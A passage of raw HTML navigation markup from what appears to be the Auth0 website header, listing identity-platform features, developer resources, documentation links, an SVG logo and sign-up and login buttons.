class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/features/multifactor-authentication" rel="external">Multifactor Authentication</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/features/actions" rel="external">Actions</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/features/machine-to-machine" rel="external">Machine to Machine</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/features/passwordless" rel="external">Passwordless</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/features/breached-passwords" rel="external">Breached Passwords</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="https://auth0.com/features" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 butiik FYDuM">View features</a></li></ul></div></div></li><li class="styled__NavItemContainer-sc-85iotp-2 fbKXcX"><p class="styled__NavItemTitle-sc-85iotp-5 jJmhNW">Solutions</p><div class="styled__NavItem-sc-85iotp-6 dAmhCz"><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Industries</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/nonprofits" rel="external">Nonprofits &amp; Charities</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/startups" rel="external">Startups</a></li></ul></div><div class="styled__ColumnContainer-sc-85iotp-7 QEhDV"><p class="styled__ColumnItemTitle-sc-85iotp-8 dhdvtD">Use Cases</p><ul class="styled__ColumnList-sc-85iotp-10 lbxxTt"><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/b2c-customer-identity-management" rel="external">Consumer Applications</a></li><li class="styled__ColumnListItem-sc-85iotp-11 ihpWnt"><a href="/b2b-saas" rel="external">B2B SaaS Applications</a></li></ul></div></div></li><li class="styled__NavItemContainer-sc-85iotp-2 styled__NavLinkContainer-sc-85iotp-3 fbKXcX bUCOoz"><a href="/blog/" rel="external" class="styled__NavLink-sc-85iotp-4 dETrsJ">Blog</a></li><li class="styled__NavItemContainer-sc-85iotp-2 styled__NavLinkContainer-sc-85iotp-3 fbKXcX bUCOoz"><a href="/pricing/" rel="external" class="styled__NavLink-sc-85iotp-4 dETrsJ">Pricing</a></li></ul><div class="styled__ButtonContainer-sc-85iotp-15 hiEELR"><div class="styled__SecondaryButtonContainer-sc-85iotp-18 epRiIO"><a rel="external" href="/signup?place=header&amp;type=button&amp;text=sign%20up" role="button" tabindex="0" class="styled__Button-sc-1hwml9q-0 utils-sc-11hlfw-0 etdOck bPWQw"><span>Sign up</span></a><a href="/api/auth/login?redirectTo=dashboard" rel="external" role="button" tabindex="0" class="styled__Button-sc-1hwml9q-0 utils-sc-11hlfw-0 cmgpvv bPWQw"><span>Login</span></a></div><a href="/contact-us?place=header&amp;type=button&amp;text=contact%20sales" role="button" tabindex="0" class="styled__Button-sc-1hwml9q-0 utils-sc-11hlfw-0 dmEnyJ bKQnZO"><span>Contact sales</span></a></div></section></nav><nav aria-label="Desktop nav" class="styled__NavDesktop-sc-1755fzv-6 fblBoo"><div class="styled__NavDesktopContainer-sc-1755fzv-7 bCnrpr"><a rel="external" href="/" aria-label="Auth0 logo" class="styled__LogoWrapper-sc-1755fzv-4 hfWran"><svg xmlns="http://www.w3.org/2000/svg" width="106" height="40" viewBox="0 0 106 40" fill="none"><path d="M1.69096 17.4795C6.93608 16.6184 11.0487 12.5058 11.9098 7.26068L12.3326 4.70858C12.4108 4.21277 12.009 3.77959 11.5079 3.81612C7.51539 4.12404 3.75249 5.44967 1.67009 6.30037C0.662823 6.71268 0 7.69386 0 8.78985V16.8532C0 17.3282 0.422753 17.6883 0.892465 17.61L1.69096 17.4795Z" fill="#FFFEFA"></path><path d="M14.4356 7.26056C15.2968 12.5057 19.4094 16.6183 24.6545 17.4794L25.453 17.6099C25.9227 17.6882 26.3454 17.3281 26.3454 16.8531V8.78973C26.3454 7.69895 25.6826 6.71777 24.6753 6.30025C22.5982 5.44433 18.83 4.12392 14.8375 3.816C14.3365 3.77947 13.9294 4.21265 14.0129 4.70846L14.4356 7.26056Z" fill="#FFFEFA"></path><path d="M24.6589 20.0112C19.4138 20.8723 15.3012 24.9849 14.44 30.23L13.9181 35.209C13.8712 35.6578 14.367 35.9762 14.7428 35.7257C14.7428 35.7257 14.748 35.7257 14.7532 35.7205C18.0412 33.5024 25.5461 27.6936 26.2872 20.4392C26.3238 20.0843 26.0054 19.792 25.6557 19.8494L24.6641 20.0112H24.6589Z" fill="#FFFEFA"></path><path d="M11.9075 30.2277C11.0464 24.9826 6.9338 20.87 1.68868 20.0088L0.618783 19.8314C0.305641 19.7792 0.0238052 20.0401 0.0551193 20.3585C0.759688 27.6547 8.36904 33.5 11.6831 35.7181C12.0276 35.9477 12.4816 35.6711 12.4399 35.2588L11.9128 30.2225L11.9075 30.2277Z" fill="#FFFEFA"></path><path d="M62.7942 13.954H60.297C60.1456 13.954 60.0267 14.073 60.0267 14.2243V21.4295C60.0267 22.3105 59.8807 23.0835 59.5889 23.7483C59.297 24.4132 58.8862 24.9213 58.3511 25.2672C57.8159 25.6132 57.1835 25.7861 56.4538 25.7861C55.4052 25.7861 54.616 25.4402 54.0917 24.7483C53.5674 24.0564 53.3026 23.0619 53.3026 21.77V14.2243C53.3026 14.073 53.1837 13.954 53.0323 13.954H50.5081C50.3567 13.954 50.2378 14.073 50.2378 14.2243V22.0781C50.2378 23.2943 50.3891 24.3105 50.6864 25.1267C50.9837 25.9429 51.3945 26.6023 51.908 27.1104C52.4215 27.6185 53.0107 27.9752 53.6809 28.1915C54.3458 28.4077 55.0431 28.5158 55.7728 28.5158C56.8214 28.5158 57.6916 28.3158 58.3889 27.9104C58.9024 27.6131 59.3348 27.2834 59.697 26.9158C59.8483 26.7591 60.1078 26.8455 60.151 27.0564L60.3456 28.1212C60.3672 28.2509 60.4807 28.3428 60.6105 28.3428H62.7834C62.9347 28.3428 63.0536 28.2239 63.0536 28.0725V14.2243C63.0536 14.073 62.9347 13.954 62.7834 13.954H62.7942Z" fill="#FFFEFA"></path><path d="M73.644 25.6751H70.3846C69.8062 25.6751 69.3954 25.5562 69.163 25.3237C68.9306 25.0913 68.8117 24.6913 68.8117 24.1292V16.897C68.8117 16.7456 68.9306 16.6267 69.0819 16.6267H73.5034C73.6548 16.6267 73.7737 16.5078 73.7737 16.3564V14.2268C73.7737 14.0754 73.6548 13.9565 73.5034 13.9565H69.3522C69.0549 13.9565 68.8117 13.7133 68.8117 13.416V9.85394C68.8117 9.70259 68.6928 9.58368 68.5414 9.58368H66.0442C65.8928 9.58368 65.7739 9.70259 65.7739 9.85394V24.4427C65.7739 25.7562 66.082 26.7345 66.7036 27.3777C67.3198 28.0264 68.3144 28.3453 69.6819 28.3453H73.644C73.7953 28.3453 73.9142 28.2264 73.9142 28.075V25.9453C73.9142 25.794 73.7953 25.6751 73.644 25.6751Z" fill="#FFFEFA"></path><path d="M86.3392 14.5169C85.4852 14.0304 84.4907 13.7872 83.3447 13.7872C82.4475 13.7872 81.6205 13.9655 80.8691 14.3223C80.3286 14.5817 79.8475 14.9006 79.4367 15.2844C79.2638 15.4466 78.9881 15.3223 78.9881 15.0898V8.93866C78.9881 8.78731 78.8692 8.6684 78.7178 8.6684H76.1936C76.0423 8.6684 75.9233 8.78731 75.9233 8.93866V28.0732C75.9233 28.2246 76.0423 28.3435 76.1936 28.3435H78.7178C78.8692 28.3435 78.9881 28.2246 78.9881 28.0732V21.0626C78.9881 20.1275 79.1395 19.3167 79.4367 18.6303C79.734 17.9492 80.1611 17.4195 80.7178 17.0411C81.2691 16.6682 81.9232 16.479 82.6691 16.479C83.415 16.479 84.0096 16.6465 84.4961 16.9871C84.9825 17.3222 85.3501 17.7979 85.5933 18.4086C85.8366 19.0194 85.9609 19.7437 85.9609 20.587V28.0732C85.9609 28.2246 86.0798 28.3435 86.2311 28.3435H88.7284C88.8797 28.3435 88.9986 28.2246 88.9986 28.0732V20.3329C88.9986 18.8735 88.7716 17.6573 88.3122 16.6952C87.8527 15.7276 87.1987 15.0033 86.3446 14.5169H86.3392Z" fill="#FFFEFA"></path><path d="M104.469 12.9455C103.891 11.5239 103.064 10.4267 101.994 9.65913C100.923 8.89158 99.6423 8.50781 98.1451 8.50781C96.6478 8.50781 95.3884 8.89158 94.3073 9.65913C93.2317 10.4267 92.3993 11.5239 91.8209 12.9455C91.2426 14.3725 90.9507 16.0752 90.9507 18.0589V18.9561C90.9507 20.9615 91.2426 22.6804 91.8209 24.1128C92.3993 25.5451 93.2317 26.637 94.3073 27.3883C95.383 28.1397 96.664 28.5126 98.1451 28.5126C99.6261 28.5126 100.929 28.1397 101.994 27.3883C103.058 26.637 103.885 25.5451 104.469 24.1128C105.048 22.6804 105.339 20.9615 105.339 18.9561V18.0589C105.339 16.0752 105.048 14.3671 104.469 12.9455ZM94.0155 19.3021C94.0155 19.1507 94.0155 18.9994 94.0155 18.848V18.1724C94.0155 15.886 94.3722 14.1347 95.0857 12.9185C95.7992 11.7023 96.8208 11.0915 98.1505 11.0915C99.3883 11.0915 100.356 11.6158 101.058 12.6699C101.329 13.0482 101.096 13.5293 100.983 13.659L95.4424 19.8372C94.9506 20.3885 94.0425 20.048 94.0263 19.3129L94.0155 19.3021ZM102.275 18.848C102.275 21.1182 101.918 22.8587 101.204 24.0749C100.491 25.2911 99.4693 25.9019 98.1397 25.9019C96.9181 25.9019 95.9559 25.3884 95.2587 24.3614C94.9884 23.9884 95.2208 23.5128 95.3343 23.3776L100.853 17.1886C101.345 16.6373 102.253 16.9724 102.269 17.7129C102.269 17.8643 102.269 18.021 102.269 18.1778V18.8534L102.275 18.848Z" fill="#FFFEFA"></path><path d="M48.5034 25.7039H48.4277C48.125 25.7039 47.9142 25.6391 47.7791 25.5093C47.6493 25.3796 47.5845 25.1364 47.5845 24.7796V19.0176C47.5845 17.315 47.0602 16.0177 46.0115 15.1259C44.9629 14.234 43.4927 13.7908 41.6009 13.7908C40.4009 13.7908 39.3469 13.98 38.4388 14.3529C37.5307 14.7259 36.8064 15.2556 36.2605 15.9421C35.7794 16.5474 35.4767 17.2447 35.347 18.0339C35.32 18.196 35.4551 18.3474 35.6173 18.3474H38.0712C38.1956 18.3474 38.2983 18.2609 38.3307 18.1366C38.4766 17.5961 38.7955 17.1528 39.2982 16.8123C39.8604 16.4285 40.5793 16.2339 41.4603 16.2339C42.4333 16.2339 43.1954 16.461 43.7359 16.9204C44.2765 17.3799 44.5521 18.0123 44.5521 18.8176V19.4176C44.5521 19.569 44.4332 19.6879 44.2819 19.6879H41.0117C39.028 19.6879 37.5145 20.0879 36.4713 20.8825C35.4335 21.677 34.9092 22.8175 34.9092 24.2986C34.9092 25.1796 35.1362 25.9364 35.5848 26.5742C36.0335 27.212 36.6551 27.6931 37.455 28.0228C38.2496 28.3525 39.1631 28.5147 40.1955 28.5147C41.5468 28.5147 42.6441 28.2012 43.4981 27.5741C43.8711 27.2985 44.2062 26.985 44.4981 26.6444C44.6386 26.4769 44.9143 26.5363 44.9629 26.7471C45.0386 27.1039 45.1845 27.4174 45.3954 27.6714C45.7683 28.1201 46.4656 28.3471 47.4764 28.3471H48.779C48.9304 28.3471 49.0493 28.2282 49.0493 28.0768V26.1526C49.0493 25.785 48.9304 25.7039 48.5088 25.7039H48.5034ZM44.5467 22.5311C44.5467 23.2229 44.39 23.8499 44.0711 24.4013C43.7522 24.9526 43.3035 25.385 42.7198 25.6931C42.1414 26.0012 41.4333 26.158 40.6117 26.158C39.7901 26.158 39.1631 25.9634 38.6874 25.5796C38.2118 25.1958 37.9685 24.704 37.9685 24.104C37.9685 23.3743 38.2172 22.8283 38.7145 22.4716C39.2118 22.1148 39.9252 21.9365 40.8658 21.9365H44.5467V22.5256V22.5311Z" fill="#FFFEFA"></path></svg></a><ul role="menubar" class="styled__NavList-sc-1755fzv-13 gJozFS"><li role="menuitem" aria-haspopup="true" tabindex="0" class="styled__NavListEl-sc-1755fzv-16 dnWatv"><div class="styled__NavElementButton-sc-1755fzv-15 goPIno"><span>Developers</span><svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><g id="chevron-down"><path id="icon" fill-rule="evenodd" clip-rule="evenodd" d="M7.99994 9.93934L12.4696 5.46967L13.5303 6.53033L8.53027 11.5303C8.23738 11.8232 7.76251 11.8232 7.46961 11.5303L2.46961 6.53033L3.53027 5.46967L7.99994 9.93934Z" fill="#FFFEFA"></path></g></svg></div><div class="styled__NavElementContentWrapper-sc-1755fzv-14 iyaTlV"><section class="styled__NavElementContent-sc-1755fzv-17 jtpgRu"><section class="styled__Column-sc-1ff7bch-0 styled__FirstColumn-sc-1ff7bch-1 xvieK ksvdhq"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iCUAvT">Developers</p><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://developer.auth0.com/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Developer Center</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://developer.auth0.com/resources/code-samples" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Code Samples</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://developer.auth0.com/resources/guides" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Guides</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://identityunlocked.auth0.com/public/49/Identity,-Unlocked.--bed7fada" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Identity Unlocked - Podcasts</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://developer.auth0.com/newsletter" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Zero Index Newsletter</a></li></ul></section><section class="styled__Column-sc-1ff7bch-0 styled__SecondColumn-sc-1ff7bch-2 xvieK bpIsaL"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iCUAvT">Developer Tools</p><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://openidconnect.net/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">OIDC Connect Playground</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://samltool.io/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">SAML Tool</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="http://jwt.io/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">JWT.io</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="http://webauthn.me/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Webauthn.me</a></li></ul></section><section class="styled__Column-sc-1ff7bch-0 styled__ThirdColumn-sc-1ff7bch-3 xvieK cUYhhd"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iCUAvT">Get Involved</p><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://developer.auth0.com/events" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Events</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/research-program" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Auth0 Research Program</a></li></ul></section></section></div></li><li role="menuitem" aria-haspopup="true" tabindex="0" class="styled__NavListEl-sc-1755fzv-16 dnWatv"><div class="styled__NavElementButton-sc-1755fzv-15 goPIno"><span>Documentation</span><svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><g id="chevron-down"><path id="icon" fill-rule="evenodd" clip-rule="evenodd" d="M7.99994 9.93934L12.4696 5.46967L13.5303 6.53033L8.53027 11.5303C8.23738 11.8232 7.76251 11.8232 7.46961 11.5303L2.46961 6.53033L3.53027 5.46967L7.99994 9.93934Z" fill="#FFFEFA"></path></g></svg></div><div class="styled__NavElementContentWrapper-sc-1755fzv-14 iyaTlV"><section class="styled__NavElementContent-sc-1755fzv-17 jtpgRu"><section class="styled__Column-sc-1ff7bch-0 styled__FirstColumn-sc-1ff7bch-1 xvieK kIFVcf"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iCUAvT">Documentation</p><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/docs" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Auth0 Docs</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/docs/articles" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Articles</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/docs/quickstarts" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Quickstarts</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/docs/api" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">APIs</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/docs/libraries" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">SDK Libraries</a></li></ul></section><section class="styled__Column-sc-1ff7bch-0 styled__SecondColumn-sc-1ff7bch-2 xvieK fbRjZO"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iCUAvT">Support Center</p><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://community.auth0.com/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Community</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://support.auth0.com/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Support</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://community.auth0.com/c/help/6" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Help</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://community.auth0.com/c/faq/42" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">FAQs</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="https://marketplace.auth0.com" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Explore Auth0 Marketplace</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/resources" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Resources</a></li></ul></section><section class="styled__Column-sc-1ff7bch-0 styled__ThirdColumn-sc-1ff7bch-3 xvieK dDttGJ"><a href="/blog/getting-unlimited-scalability-with-okta-fine-grained-authorization/" rel="external" class="styled__Link-k7d9qa-0 dNLwir"><div class="styled__Container-k7d9qa-1 dXPgwV"><img loading="lazy" src="https://cdn.auth0.com/website/website/cic-header/hero/blog-thumbnail.png" alt="" class="styled__Image-k7d9qa-3 iACfSx"/><div><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt bdewcp">BLOG</p><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 bkTDvW eTNTBu">Getting Unlimited Scalability with Okta Fine Grained Authorization</p></div></div></a><div class="styled__Divider-sc-25clja-0 iJOdtI"></div><div class="styled__ItemsListContainer-sc-25clja-1 gYCAsK"><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/blog/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Blog</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/learn" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Learn</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/intro-to-iam" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Intro to IAM (CIAM)</a></li></ul></div></section></section></div></li><li role="menuitem" aria-haspopup="true" tabindex="0" class="styled__NavListEl-sc-1755fzv-16 dnWatv"><div class="styled__NavElementButton-sc-1755fzv-15 goPIno"><span>Product</span><svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><g id="chevron-down"><path id="icon" fill-rule="evenodd" clip-rule="evenodd" d="M7.99994 9.93934L12.4696 5.46967L13.5303 6.53033L8.53027 11.5303C8.23738 11.8232 7.76251 11.8232 7.46961 11.5303L2.46961 6.53033L3.53027 5.46967L7.99994 9.93934Z" fill="#FFFEFA"></path></g></svg></div><div class="styled__NavElementContentWrapper-sc-1755fzv-14 iyaTlV"><section class="styled__NavElementContent-sc-1755fzv-17 jtpgRu"><section class="styled__Column-sc-1ff7bch-0 styled__FirstColumn-sc-1ff7bch-1 xvieK ksvdhq"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iCUAvT">Platform</p><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/platform/access-management" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Access Management</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/platform/extensibility" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Extensibility</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/platform/login-security" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Security</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/platform/user-management" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">User Management</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/platform/authentication" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Authentication</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/fine-grained-authorization" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Fine Grained Authorization</a></li></ul><div class="styled__BottomLinkWrapper-sc-1p6pq9n-4 eDzJqf"><a href="https://auth0.com/platform" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 jSunBo czoLEI">View platform</a></div></section><section class="styled__Column-sc-1ff7bch-0 styled__SecondColumn-sc-1ff7bch-2 xvieK bpIsaL"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iCUAvT">Features</p><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/features/universal-login" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Universal Login</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/features/single-sign-on" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Single Sign On</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/features/multifactor-authentication" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Multifactor Authentication</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/features/actions" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Actions</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/features/machine-to-machine" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Machine to Machine</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/features/passwordless" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Passwordless</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/features/breached-passwords" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Breached Passwords</a></li></ul><div class="styled__BottomLinkWrapper-sc-1p6pq9n-4 eDzJqf"><a href="https://auth0.com/features" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 jSunBo czoLEI">View features</a></div></section><section class="styled__Column-sc-1ff7bch-0 styled__ThirdColumn-sc-1ff7bch-3 xvieK gMGasY"><ul class="styled__List-sc-12vkkep-0 dURBhZ"><li class="styled__Element-sc-12vkkep-1 cetBpD"><a rel="external" href="/resources/videos/platform-introduction-video-2020" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hfCwZi jrcqSi"><div><p>Technology Overview</p><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 fXa-dFL kXdnOe">Watch a walkthrough of the Auth0 Platform</p></div></a></li><li class="styled__Element-sc-12vkkep-1 cetBpD"><a rel="external" href="/platform/cloud-deployment" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hfCwZi jrcqSi"><div><p>Cloud Deployments</p><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 fXa-dFL kXdnOe">Deploy to the cloud, your way</p></div></a></li><li class="styled__Element-sc-12vkkep-1 cetBpD"><a rel="external" href="/marketplace" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hfCwZi jrcqSi"><div><p>Auth0 Marketplace</p><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 fXa-dFL kXdnOe">Discover the integrations you need to solve identity</p></div></a></li></ul></section></section></div></li><li role="menuitem" aria-haspopup="true" tabindex="0" class="styled__NavListEl-sc-1755fzv-16 dnWatv"><div class="styled__NavElementButton-sc-1755fzv-15 goPIno"><span>Solutions</span><svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg"><g id="chevron-down"><path id="icon" fill-rule="evenodd" clip-rule="evenodd" d="M7.99994 9.93934L12.4696 5.46967L13.5303 6.53033L8.53027 11.5303C8.23738 11.8232 7.76251 11.8232 7.46961 11.5303L2.46961 6.53033L3.53027 5.46967L7.99994 9.93934Z" fill="#FFFEFA"></path></g></svg></div><div class="styled__NavElementContentWrapper-sc-1755fzv-14 iyaTlV"><section class="styled__NavElementContent-sc-1755fzv-17 jtpgRu"><section class="styled__Column-sc-1ff7bch-0 styled__FirstColumn-sc-1ff7bch-1 xvieK kIFVcf"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iCUAvT">Industries</p><ul role="menubar" class="styled__List-sc-1p6pq9n-1 guYaGV"><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/nonprofits" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Nonprofits &amp; Charities</a></li><li role="menuitem" class="styled__Element-sc-1p6pq9n-2 jSbSuj"><a rel="external" href="/startups" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO eldvFb">Startups</a></li></ul></section><section class="styled__Column-sc-1ff7bch-0 styled__SecondColumn-sc-1ff7bch-2 xvieK fbRjZO"><div class="styled__Wrapper-mvo3b8-0 gXQAAw"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt dKTRwW">Use Cases</p><a rel="external" href="/b2c-customer-identity-management" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO crZFdA"><span>Consumer Applications</span></a><a rel="external" href="/b2b-saas" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO crZFdA"><span>B2B SaaS Applications</span></a><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt dKTRwW">Case Studies</p><a rel="external" href="/customers/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 bhxyxO crZFdA"><span>Read our customers stories</span></a></div></section><section class="styled__Column-sc-1ff7bch-0 styled__ThirdColumn-sc-1ff7bch-3 xvieK dDttGJ"><a 